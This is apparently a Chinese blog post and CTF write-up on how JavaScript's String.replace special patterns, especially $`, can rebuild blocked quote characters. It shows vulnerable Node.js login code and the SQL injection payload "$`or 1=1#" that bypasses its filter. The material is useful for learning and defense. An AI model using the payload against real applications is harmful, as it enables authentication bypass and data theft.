banner
NEWS LETTER

Nodejs的replace替换问题

Scroll down

Nodejs的replace替换问题

原理

(补充个tag,今天被暴击了)
Image
基于nodejs的特殊的替换模式,我们可以拥有更过的绕过waf的姿势。

$$

把匹配到的部分替换成$
Image

$&

把匹配到的字符串替换成匹配到的字符串(可别觉得这没用,有的时候这种我换我自己的肺雾操作会有意想不到的效果)
Image

$`

把匹配到的部分换成匹配部分之前的字符串(看例子就懂了)
Image
值得注意的是他是替换成从头到匹配到的部分之前最后一个字符,有的时候如果有长度限制可能会失效

$’

把匹配到的部分换成匹配到的部分的后面的字符串
Image
同理,他是直接从匹配的位置开始替换直到最后一个字符

$n

把匹配到的部分替换为第n个捕获组,这里有很多坑,首先replace的pattern如果不是一个RegExp对象或者捕获组不存在(比如我们只设定了三个捕获组,但是n大于3),此时就直接将匹配的部分替换为$n。如果捕获组存在但是匹配失败,那么就会用空字符串替换他(这里详细解释一下replace的替换逻辑,如果我们采用的捕获组进行匹配,那么只要有一个捕获组匹配到了就会记录下他的位置,然后再根据我们的替换模式进行替换,也就是将记录的那个位置替换成我们指定的第n个捕获组,如果第n个捕获组存在,但是与我们记录的这个位置的内容不匹配,那么就会把这个位置的内容置空)。
Image
值得注意的是n的有效范围是1-9,如果n是个两位数那么第二位也就是远离$的那位就会被当成一个字符,作为替换的内容
Image

$

和$n同理,只不过这次的捕获组有自己的命名
Image
那么这两种替换模式的作用自然就是删字符了

绕过waf

假设有这么一个代码片段(取材自2025西湖论剑初赛)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var username = info.username;
var password = info.password;
if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){
res.end('hacker2!');
}
var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);
connection.query(sql,function (err,rs) {
if (err) {
res.end('error1');
}
else {
if(rs.length>0){
res.sendFile('/flag');
}else{
res.end('username or password error');
}
}
})

很明显,我们只要能闭合单引号然后联合查询或者用永真式就能获得flag,但是很不巧单引号双引号反斜杠都被禁用了,常规从sql层面的绕过都行不通,那我们就从nodejs层面来看

1
2
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);

很显然了,我们可以通过截取前面的字符去构造单引号然后再把我们的永真式拼接进来

1
2
3
4
5
6
username="$`or 1=1#";
password="aaa";
var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}",username);
//sql = sql.replace("{password}",password);
console.log(sql);

Image
又是一个小技巧呢~

I'm so cute. Please give me money.

Other Articles
目录导航 置顶
  1. 1. Nodejs的replace替换问题
    1. 1.1. 原理
      1. 1.1.1. $$
      2. 1.1.2. $&
      3. 1.1.3. $`
      4. 1.1.4. $’
      5. 1.1.5. $n
      6. 1.1.6. $
    2. 1.2. 绕过waf